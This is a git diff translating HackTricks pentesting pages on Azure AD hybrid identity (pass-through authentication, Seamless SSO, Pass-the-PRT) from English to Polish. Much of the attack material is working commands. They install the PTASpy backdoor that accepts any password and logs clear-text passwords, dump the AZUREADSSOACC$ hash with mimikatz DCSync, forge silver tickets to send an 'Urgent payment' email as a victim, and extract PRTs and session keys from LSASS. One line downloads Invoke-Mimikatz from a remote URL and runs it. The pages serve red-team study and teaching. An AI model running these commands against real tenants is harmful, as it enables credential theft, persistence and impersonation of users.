a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md @@ -2,73 +2,65 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Podstawowe informacje -[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Azure Active Directory (Azure AD) Pass-through Authentication allows your users to **sign in to both on-premises and cloud-based applications using the same passwords**. This feature provides your users a better experience - one less password to remember, and reduces IT helpdesk costs because your users are less likely to forget how to sign in. When users sign in using Azure AD, this feature **validates users' passwords directly against your on-premises Active Directory**. +[Z dokumentacji:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Azure Active Directory (Azure AD) Pass-through Authentication pozwala Twoim użytkownikom na **logowanie się zarówno do aplikacji lokalnych, jak i opartych na chmurze, używając tych samych haseł**. Ta funkcja zapewnia lepsze doświadczenie użytkowników - jedno mniej hasło do zapamiętania, a także zmniejsza koszty pomocy IT, ponieważ użytkownicy rzadziej zapominają, jak się zalogować. Gdy użytkownicy logują się za pomocą Azure AD, ta funkcja **waliduje hasła użytkowników bezpośrednio w Twoim lokalnym Active Directory**. -In PTA **identities** are **synchronized** but **passwords** **aren't** like in PHS. +W PTA **tożsamości** są **synchronizowane**, ale **hasła** **nie są** jak w PHS. -The authentication is validated in the on-prem AD and the communication with cloud is done by an **authentication agent** running in an **on-prem server** (it does't need to be on the on-prem DC). +Autoryzacja jest walidowana w lokalnym AD, a komunikacja z chmurą odbywa się za pomocą **agenta autoryzacji** działającego na **lokalnym serwerze** (nie musi być na lokalnym DC). -### Authentication flow +### Przepływ autoryzacji
-1. To **login** the user is redirected to **Azure AD**, where he sends the **username** and **password** -2. The **credentials** are **encrypted** and set in a **queue** in Azure AD -3. The **on-prem authentication agent** gathers the **credentials** from the queue and **decrypts** them. This agent is called **"Pass-through authentication agent"** or **PTA agent.** -4. The **agent** **validates** the creds against the **on-prem AD** and sends the **response** **back** to Azure AD which, if the response is positive, **completes the login** of the user. +1. Aby **zalogować się**, użytkownik jest przekierowywany do **Azure AD**, gdzie wysyła **nazwa użytkownika** i **hasło** +2. **Dane uwierzytelniające** są **szyfrowane** i umieszczane w **kolejce** w Azure AD +3. **Lokalny agent autoryzacji** zbiera **dane uwierzytelniające** z kolejki i je **odszyfrowuje**. Ten agent nazywa się **"agentem autoryzacji przechodzącej"** lub **agentem PTA.** +4. **Agent** **waliduje** dane uwierzytelniające w **lokalnym AD** i wysyła **odpowiedź** **z powrotem** do Azure AD, która, jeśli odpowiedź jest pozytywna, **kończy logowanie** użytkownika. > [!WARNING] -> If an attacker **compromises** the **PTA** he can **see** the all **credentials** from the queue (in **clear-text**).\ -> He can also **validate any credentials** to the AzureAD (similar attack to Skeleton key). +> Jeśli atakujący **skomprymuje** **PTA**, może **zobaczyć** wszystkie **dane uwierzytelniające** z kolejki (w **czystym tekście**).\ +> Może również **walidować dowolne dane uwierzytelniające** w AzureAD (podobny atak do klucza szkieletowego). -### On-Prem -> cloud - -If you have **admin** access to the **Azure AD Connect server** with the **PTA** **agent** running, you can use the **AADInternals** module to **insert a backdoor** that will **validate ALL the passwords** introduced (so all passwords will be valid for authentication): +### On-Prem -> chmura +Jeśli masz **dostęp administratora** do **serwera Azure AD Connect** z działającym **agentem PTA**, możesz użyć modułu **AADInternals**, aby **wstawić tylne drzwi**, które **zwalidują WSZYSTKIE hasła** wprowadzone (więc wszystkie hasła będą ważne do autoryzacji): ```powershell Install-AADIntPTASpy ``` - > [!NOTE] -> If the **installation fails**, this is probably due to missing [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe). - -It's also possible to **see the clear-text passwords sent to PTA agent** using the following cmdlet on the machine where the previous backdoor was installed: +> Jeśli **instalacja nie powiedzie się**, prawdopodobnie jest to spowodowane brakującymi [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe). +Możliwe jest również **zobaczenie haseł w postaci czystego tekstu wysyłanych do agenta PTA** za pomocą następującego cmdletu na maszynie, na której zainstalowano poprzednie tylne drzwi: ```powershell Get-AADIntPTASpyLog -DecodePasswords ``` +Ten backdoor będzie: -This backdoor will: - -- Create a hidden folder `C:\PTASpy` -- Copy a `PTASpy.dll` to `C:\PTASpy` -- Injects `PTASpy.dll` to `AzureADConnectAuthenticationAgentService` process +- Tworzyć ukrytą folder `C:\PTASpy` +- Kopiować `PTASpy.dll` do `C:\PTASpy` +- Wstrzykiwać `PTASpy.dll` do procesu `AzureADConnectAuthenticationAgentService` > [!NOTE] -> When the AzureADConnectAuthenticationAgent service is restarted, PTASpy is “unloaded” and must be re-installed. +> Gdy usługa AzureADConnectAuthenticationAgent zostanie ponownie uruchomiona, PTASpy jest „odładowany” i musi być ponownie zainstalowany. -### Cloud -> On-Prem +### Chmura -> On-Prem > [!CAUTION] -> After getting **GA privileges** on the cloud, it's possible to **register a new PTA agent** by setting it on an **attacker controlled machine**. Once the agent is **setup**, we can **repeat** the **previous** steps to **authenticate using any password** and also, **get the passwords in clear-text.** +> Po uzyskaniu **uprawnień GA** w chmurze, możliwe jest **zarejestrowanie nowego agenta PTA** poprzez ustawienie go na **maszynie kontrolowanej przez atakującego**. Gdy agent jest **skonfigurowany**, możemy **powtórzyć** **poprzednie** kroki, aby **uwierzytelnić się przy użyciu dowolnego hasła** oraz **uzyskać hasła w postaci czystego tekstu.** ### Seamless SSO -It's possible to use Seamless SSO with PTA, which is vulnerable to other abuses. Check it in: +Możliwe jest użycie Seamless SSO z PTA, które jest podatne na inne nadużycia. Sprawdź to w: {{#ref}} seamless-sso.md {{#endref}} -## References +## Referencje - [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta) - [https://aadinternals.com/post/on-prem_admin/#pass-through-authentication](https://aadinternals.com/post/on-prem_admin/#pass-through-authentication) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md index 289951b91..936d3f9f8 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md @@ -2,30 +2,29 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Podstawowe informacje -[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) automatically **signs users in when they are on their corporate devices** connected to your corporate network. When enabled, **users don't need to type in their passwords to sign in to Azure AD**, and usually, even type in their usernames. This feature provides your users easy access to your cloud-based applications without needing any additional on-premises components. +[Z dokumentacji:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) automatycznie **loguje użytkowników, gdy są na swoich urządzeniach firmowych** podłączonych do sieci firmowej. Po włączeniu, **użytkownicy nie muszą wpisywać swoich haseł, aby zalogować się do Azure AD**, a zazwyczaj nawet wpisywać swoich nazw użytkowników. Ta funkcja zapewnia użytkownikom łatwy dostęp do aplikacji w chmurze bez potrzeby posiadania dodatkowych komponentów lokalnych.

https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works

-Basically Azure AD Seamless SSO **signs users** in when they are **on a on-prem domain joined PC**. +Zasadniczo Azure AD Seamless SSO **loguje użytkowników**, gdy są **na komputerze dołączonym do lokalnej domeny**. -It's supported by both [**PHS (Password Hash Sync)**](phs-password-hash-sync.md) and [**PTA (Pass-through Authentication)**](pta-pass-through-authentication.md). +Jest wspierane zarówno przez [**PHS (Synchronizacja hasła)**](phs-password-hash-sync.md), jak i [**PTA (Uwierzytelnianie przechodnie)**](pta-pass-through-authentication.md). -Desktop SSO is using **Kerberos** for authentication. When configured, Azure AD Connect creates a **computer account called AZUREADSSOACC`$`** in on-prem AD. The password of the `AZUREADSSOACC$` account is **sent as plain-text to Azure AD** during the configuration. +Desktop SSO używa **Kerberos** do uwierzytelniania. Po skonfigurowaniu, Azure AD Connect tworzy **konto komputera o nazwie AZUREADSSOACC`$`** w lokalnym AD. Hasło konta `AZUREADSSOACC$` jest **wysyłane w postaci niezaszyfrowanej do Azure AD** podczas konfiguracji. -The **Kerberos tickets** are **encrypted** using the **NTHash (MD4)** of the password and Azure AD is using the sent password to decrypt the tickets. +**Bilety Kerberos** są **szyfrowane** przy użyciu **NTHash (MD4)** hasła, a Azure AD używa wysłanego hasła do odszyfrowania biletów. -**Azure AD** exposes an **endpoint** (https://autologon.microsoftazuread-sso.com) that accepts Kerberos **tickets**. Domain-joined machine's browser forwards the tickets to this endpoint for SSO. +**Azure AD** udostępnia **punkt końcowy** (https://autologon.microsoftazuread-sso.com), który akceptuje bilety Kerberos. Przeglądarka maszyny dołączonej do domeny przekazuje bilety do tego punktu końcowego w celu SSO. -### On-prem -> cloud - -The **password** of the user **`AZUREADSSOACC$` never changes**. Therefore, a domain admin could compromise the **hash of this account**, and then use it to **create silver tickets** to connect to Azure with **any on-prem user synced**: +### On-prem -> chmura +**Hasło** użytkownika **`AZUREADSSOACC$` nigdy się nie zmienia**. Dlatego administrator domeny mógłby skompromitować **hash tego konta**, a następnie użyć go do **tworzenia srebrnych biletów** do połączenia się z Azure z **dowolnym użytkownikiem lokalnym zsynchronizowanym**: ```powershell # Dump hash using mimikatz Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"' - mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit +mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit # Dump hash using https://github.com/MichaelGrafnetter/DSInternals Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local @@ -39,9 +38,7 @@ Import-Module DSInternals $key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM' (Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos ``` - -With the hash you can now **generate silver tickets**: - +Z hashem możesz teraz **generować srebrne bilety**: ```powershell # Get users and SIDs Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier @@ -56,66 +53,57 @@ $at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com ## Send email Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "

Urgent!


The following bill should be paid asap." ``` +Aby wykorzystać srebrny bilet, należy wykonać następujące kroki: -To utilize the silver ticket, the following steps should be executed: - -1. **Initiate the Browser:** Mozilla Firefox should be launched. -2. **Configure the Browser:** - - Navigate to **`about:config`**. - - Set the preference for [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication) to the specified [values](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically): - - `https://aadg.windows.net.nsatc.net` - - `https://autologon.microsoftazuread-sso.com` -3. **Access the Web Application:** - - Visit a web application that is integrated with the organization's AAD domain. A common example is [Office 365](https://portal.office.com/). -4. **Authentication Process:** - - At the logon screen, the username should be entered, leaving the password field blank. - - To proceed, press either TAB or ENTER. +1. **Uruchom przeglądarkę:** Należy uruchomić Mozilla Firefox. +2. **Skonfiguruj przeglądarkę:** +- Przejdź do **`about:config`**. +- Ustaw preferencję dla [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication) na określone [wartości](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically): +- `https://aadg.windows.net.nsatc.net` +- `https://autologon.microsoftazuread-sso.com` +3. **Uzyskaj dostęp do aplikacji internetowej:** +- Odwiedź aplikację internetową, która jest zintegrowana z domeną AAD organizacji. Typowym przykładem jest [Office 365](https://portal.office.com/). +4. **Proces uwierzytelniania:** +- Na ekranie logowania należy wpisać nazwę użytkownika, pozostawiając pole hasła puste. +- Aby kontynuować, naciśnij TAB lub ENTER. > [!TIP] -> This doesn't bypass MFA if enabled +> To nie omija MFA, jeśli jest włączone -#### Option 2 without dcsync - SeamlessPass +#### Opcja 2 bez dcsync - SeamlessPass -It's also possible to perform this attack **without a dcsync attack** to be more stealth as [explained in this blog post](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/). For that you only need one of the following: +Możliwe jest również przeprowadzenie tego ataku **bez ataku dcsync**, aby być bardziej dyskretnym, jak [wyjaśniono w tym wpisie na blogu](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/). W tym celu potrzebujesz tylko jednego z poniższych: -- **A compromised user's TGT:** Even if you don't have one but the user was compromised,you can get one using fake TGT delegation trick implemented in many tools such as [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) and [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9). -- **Golden Ticket**: If you have the KRBTGT key, you can create the TGT you need for the attacked user. -- **A compromised user’s NTLM hash or AES key:** SeamlessPass will communicate with the domain controller with this information to generate the TGT -- **AZUREADSSOACC$ account NTLM hash or AES key:** With this info and the user’s Security Identifier (SID) to attack it's possible to create a service ticket an authenticate with the cloud (as performed in the previous method). - -Finally, with the TGT it's possible to use the tool [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) with: +- **TGT skompromitowanego użytkownika:** Nawet jeśli go nie masz, ale użytkownik został skompromitowany, możesz go uzyskać, używając sztuczki z delegowaniem fałszywego TGT, zaimplementowanej w wielu narzędziach, takich jak [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) i [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9). +- **Złoty bilet:** Jeśli masz klucz KRBTGT, możesz stworzyć TGT, którego potrzebujesz dla zaatakowanego użytkownika. +- **Hash NTLM lub klucz AES skompromitowanego użytkownika:** SeamlessPass skomunikuje się z kontrolerem domeny z tymi informacjami, aby wygenerować TGT. +- **Hash NTLM lub klucz AES konta AZUREADSSOACC$:** Z tymi informacjami i identyfikatorem bezpieczeństwa (SID) użytkownika, którego atakujesz, możliwe jest stworzenie biletu serwisowego i uwierzytelnienie się w chmurze (jak wykonano w poprzedniej metodzie). +Na koniec, z TGT możliwe jest użycie narzędzia [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) z: ``` seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt ``` +Dalsze informacje na temat konfiguracji Firefoksa do pracy z seamless SSO można [**znaleźć w tym wpisie na blogu**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/). -Further information to set Firefox to work with seamless SSO can be [**found in this blog post**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/). +#### ~~Tworzenie biletów Kerberos dla użytkowników tylko w chmurze~~ -#### ~~Creating Kerberos tickets for cloud-only users~~ +Jeśli administratorzy Active Directory mają dostęp do Azure AD Connect, mogą **ustawić SID dla dowolnego użytkownika chmurowego**. W ten sposób bilety Kerberos **mogą być tworzone również dla użytkowników tylko w chmurze**. Jedynym wymaganiem jest, aby SID był odpowiednim [SID](). -If the Active Directory administrators have access to Azure AD Connect, they can **set SID for any cloud-user**. This way Kerberos **tickets** can be **created also for cloud-only users**. The only requirement is that the SID is a proper [SID](). +> [!OSTRZEŻENIE] +> Zmiana SID użytkowników administracyjnych tylko w chmurze jest teraz **zablokowana przez Microsoft**.\ +> Więcej informacji można znaleźć na [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/) -> [!CAUTION] -> Changing SID of cloud-only admin users is now **blocked by Microsoft**.\ -> For info check [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/) - -### On-prem -> Cloud via Resource Based Constrained Delegation - -Anyone that can manage computer accounts (`AZUREADSSOACC$`) in the container or OU this account is in, it can **configure a resource based constrained delegation over the account and access it**. +### On-prem -> Chmura za pomocą ograniczonej delegacji opartej na zasobach +Każdy, kto może zarządzać kontami komputerów (`AZUREADSSOACC$`) w kontenerze lub OU, w którym znajduje się to konto, może **skonfigurować ograniczoną delegację opartą na zasobach dla tego konta i uzyskać do niego dostęp**. ```python python rbdel.py -u \\ -p azureadssosvc$ ``` - ## References - [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso) - [https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/](https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/) - [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/) -- [TR19: I'm in your cloud, reading everyone's emails - hacking Azure AD via Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg) +- [TR19: Jestem w twojej chmurze, czytam e-maile wszystkich - hacking Azure AD za pomocą Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md index b09d8a841..83aaa2c2e 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md @@ -2,42 +2,38 @@ {{#include ../../../banners/hacktricks-training.md}} -## What is a PRT +## Co to jest PRT {{#ref}} az-primary-refresh-token-prt.md {{#endref}} -### Check if you have a PRT - +### Sprawdź, czy masz PRT ``` Dsregcmd.exe /status ``` - -In the SSO State section, you should see the **`AzureAdPrt`** set to **YES**. +W sekcji SSO State powinieneś zobaczyć **`AzureAdPrt`** ustawione na **YES**.
-In the same output you can also see if the **device is joined to Azure** (in the field `AzureAdJoined`): +W tym samym wyniku możesz również zobaczyć, czy **urządzenie jest dołączone do Azure** (w polu `AzureAdJoined`):
## PRT Cookie -The PRT cookie is actually called **`x-ms-RefreshTokenCredential`** and it's a JSON Web Token (JWT). A JWT contains **3 parts**, the **header**, **payload** and **signature**, divided by a `.` and all url-safe base64 encoded. A typical PRT cookie contains the following header and body: - +Ciasteczko PRT nazywa się właściwie **`x-ms-RefreshTokenCredential`** i jest to JSON Web Token (JWT). JWT zawiera **3 części**, **nagłówek**, **ładunek** i **podpis**, podzielone kropką `.` i wszystkie zakodowane w bezpiecznym dla URL base64. Typowe ciasteczko PRT zawiera następujący nagłówek i ciało: ```json { - "alg": "HS256", - "ctx": "oYKjPJyCZN92Vtigt/f8YlVYCLoMu383" +"alg": "HS256", +"ctx": "oYKjPJyCZN92Vtigt/f8YlVYCLoMu383" } { - "refresh_token": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAZ18nQkT-eD6Hqt7sf5QY0iWPSssZOto]VhcDew7XCHAVmCutIod8bae4YFj8o2OOEl6JX-HIC9ofOG-1IOyJegQBPce1WS-ckcO1gIOpKy-m-JY8VN8xY93kmj8GBKiT8IAA", - "is_primary": "true", - "request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA" +"refresh_token": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAZ18nQkT-eD6Hqt7sf5QY0iWPSssZOto]VhcDew7XCHAVmCutIod8bae4YFj8o2OOEl6JX-HIC9ofOG-1IOyJegQBPce1WS-ckcO1gIOpKy-m-JY8VN8xY93kmj8GBKiT8IAA", +"is_primary": "true", +"request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA" } ``` - The actual **Primary Refresh Token (PRT)** is encapsulated within the **`refresh_token`**, which is encrypted by a key under the control of Azure AD, rendering its contents opaque and undecryptable to us. The field **`is_primary`** signifies the encapsulation of the primary refresh token within this token. To ensure that the cookie remains bound to the specific login session it was intended for, the `request_nonce` is transmitted from the `logon.microsoftonline.com` page. ### PRT Cookie flow using TPM @@ -65,14 +61,13 @@ For more info about this way [**check this post**](https://dirkjanm.io/abusing-a To generate a valid PRT cookie the first thing you need is a nonce.\ You can get this with: - ```powershell $TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed" $URL = "https://login.microsoftonline.com/$TenantId/oauth2/token" $Params = @{ - "URI" = $URL - "Method" = "POST" +"URI" = $URL +"Method" = "POST" } $Body = @{ "grant_type" = "srv_challenge" @@ -81,27 +76,19 @@ $Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body $Result.Nonce AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA ``` - -Or using [**roadrecon**](https://github.com/dirkjanm/ROADtools): - +Lub używając [**roadrecon**](https://github.com/dirkjanm/ROADtools): ```powershell roadrecon auth prt-init ``` - -Then you can use [**roadtoken**](https://github.com/dirkjanm/ROADtoken) to get a new PRT (run in the tool from a process of the user to attack): - +Następnie możesz użyć [**roadtoken**](https://github.com/dirkjanm/ROADtoken), aby uzyskać nowy PRT (uruchom w narzędziu z procesu użytkownika, którego chcesz zaatakować): ```powershell .\ROADtoken.exe ``` - -As oneliner: - +Jako jednolinijkowiec: ```powershell Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"} ``` - -Then you can use the **generated cookie** to **generate tokens** to **login** using Azure AD **Graph** or Microsoft Graph: - +Następnie możesz użyć **wygenerowanego ciasteczka** do **generowania tokenów** do **logowania** za pomocą Azure AD **Graph** lub Microsoft Graph: ```powershell # Generate roadrecon auth --prt-cookie @@ -109,13 +96,11 @@ roadrecon auth --prt-cookie # Connect Connect-AzureAD --AadAccessToken --AccountId ``` +### Atak - Użycie roadrecon -### Attack - Using roadrecon - -### Attack - Using AADInternals and a leaked PRT - -`Get-AADIntUserPRTToken` **gets user’s PRT token** from the Azure AD joined or Hybrid joined computer. Uses `BrowserCore.exe` to get the PRT token. +### Atak - Użycie AADInternals i wyciekniętego PRT +`Get-AADIntUserPRTToken` **pobiera token PRT użytkownika** z komputera dołączonego do Azure AD lub dołączonego w trybie hybrydowym. Używa `BrowserCore.exe`, aby uzyskać token PRT. ```powershell # Get the PRToken $prtToken = Get-AADIntUserPRTToken @@ -123,9 +108,7 @@ $prtToken = Get-AADIntUserPRTToken # Get an access token for AAD Graph API and save to cache Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken ``` - -Or if you have the values from Mimikatz you can also use AADInternals to generate a token: - +Lub jeśli masz wartości z Mimikatz, możesz również użyć AADInternals do wygenerowania tokena: ```powershell # Mimikat "PRT" value $MimikatzPRT="MC5BWU..." @@ -153,40 +136,36 @@ $AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken # Verify access and connect with Az. You can see account id in mimikatz prt output Connect-AzAccount -AccessToken $AT -TenantID -AccountId ``` - -Go to [https://login.microsoftonline.com](https://login.microsoftonline.com), clear all cookies for login.microsoftonline.com and enter a new cookie. - +Przejdź do [https://login.microsoftonline.com](https://login.microsoftonline.com), wyczyść wszystkie ciasteczka dla login.microsoftonline.com i wprowadź nowe ciasteczko. ``` Name: x-ms-RefreshTokenCredential Value: [Paste your output from above] Path: / HttpOnly: Set to True (checked) ``` - -Then go to [https://portal.azure.com](https://portal.azure.com) +Następnie przejdź do [https://portal.azure.com](https://portal.azure.com) > [!CAUTION] -> The rest should be the defaults. Make sure you can refresh the page and the cookie doesn’t disappear, if it does, you may have made a mistake and have to go through the process again. If it doesn’t, you should be good. +> Reszta powinna być domyślnymi ustawieniami. Upewnij się, że możesz odświeżyć stronę i ciasteczko nie znika; jeśli tak, mogłeś popełnić błąd i musisz przejść przez proces ponownie. Jeśli nie znika, powinno być w porządku. -### Attack - Mimikatz +### Atak - Mimikatz -#### Steps +#### Kroki -1. The **PRT (Primary Refresh Token) is extracted from LSASS** (Local Security Authority Subsystem Service) and stored for subsequent use. -2. The **Session Key is extracted next**. Given that this key is initially issued and then re-encrypted by the local device, it necessitates decryption using a DPAPI masterkey. Detailed information about DPAPI (Data Protection API) can be found in these resources: [HackTricks](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) and for an understanding of its application, refer to [Pass-the-cookie attack](az-pass-the-cookie.md). -3. Post decryption of the Session Key, the **derived key and context for the PRT are obtained**. These are crucial for the **creation of the PRT cookie**. Specifically, the derived key is employed for signing the JWT (JSON Web Token) that constitutes the cookie. A comprehensive explanation of this process has been provided by Dirk-jan, accessible [here](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/). +1. **PRT (Primary Refresh Token) jest wyodrębniany z LSASS** (Local Security Authority Subsystem Service) i przechowywany do późniejszego użycia. +2. **Następnie wyodrębniany jest Klucz Sesji**. Ponieważ ten klucz jest początkowo wydawany, a następnie ponownie szyfrowany przez lokalne urządzenie, wymaga odszyfrowania przy użyciu klucza głównego DPAPI. Szczegółowe informacje na temat DPAPI (Data Protection API) można znaleźć w tych zasobach: [HackTricks](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords), a aby zrozumieć jego zastosowanie, zapoznaj się z [atakiem Pass-the-cookie](az-pass-the-cookie.md). +3. Po odszyfrowaniu Klucza Sesji, **uzyskiwany jest klucz pochodny i kontekst dla PRT**. Są one kluczowe dla **utworzenia ciasteczka PRT**. Konkretnie, klucz pochodny jest używany do podpisania JWT (JSON Web Token), które stanowi ciasteczko. Szczegółowe wyjaśnienie tego procesu zostało przedstawione przez Dirka-jana, dostępne [tutaj](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/). > [!CAUTION] -> Note that if the PRT is inside the TPM and not inside `lsass` **mimikatz won't be able to extract it**.\ -> However, it will be possible to g**et a key from a derive key from a context** from the TPM and use it to **sign a cookie (check option 3).** +> Zauważ, że jeśli PRT znajduje się w TPM, a nie w `lsass`, **mimikatz nie będzie w stanie go wyodrębnić**.\ +> Jednak możliwe będzie **uzyskanie klucza z klucza pochodnego z kontekstu** z TPM i użycie go do **podpisania ciasteczka (sprawdź opcję 3).** -You can find an **in depth explanation of the performed process** to extract these details in here: [**https://dirkjanm.io/digging-further-into-the-primary-refresh-token/**](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) +Możesz znaleźć **szczegółowe wyjaśnienie przeprowadzonego procesu** w celu wyodrębnienia tych szczegółów tutaj: [**https://dirkjanm.io/digging-further-into-the-primary-refresh-token/**](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) > [!WARNING] -> This won't exactly work post August 2021 fixes to get other users PRT tokens as only the user can get his PRT (a local admin cannot access other users PRTs), but can access his. - -You can use **mimikatz** to extract the PRT: +> To nie zadziała dokładnie po poprawkach z sierpnia 2021 roku, aby uzyskać tokeny PRT innych użytkowników, ponieważ tylko użytkownik może uzyskać swój PRT (lokalny administrator nie ma dostępu do PRT innych użytkowników), ale może uzyskać dostęp do swojego. +Możesz użyć **mimikatz** do wyodrębnienia PRT: ```powershell mimikatz.exe Privilege::debug @@ -196,93 +175,76 @@ Sekurlsa::cloudap iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1") Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"' ``` - (Images from https://blog.netwrix.com/2023/05/13/pass-the-prt-overview)
-**Copy** the part labeled **Prt** and save it.\ -Extract also the session key (the **`KeyValue`** of the **`ProofOfPossesionKey`** field) which you can see highlighted below. This is encrypted and we will need to use our DPAPI masterkeys to decrypt it. +**Skopiuj** część oznaczoną jako **Prt** i zapisz ją.\ +Wyodrębnij również klucz sesji (**`KeyValue`** pola **`ProofOfPossesionKey`**), który możesz zobaczyć wyróżniony poniżej. Jest on zaszyfrowany i będziemy musieli użyć naszych kluczy głównych DPAPI, aby go odszyfrować.
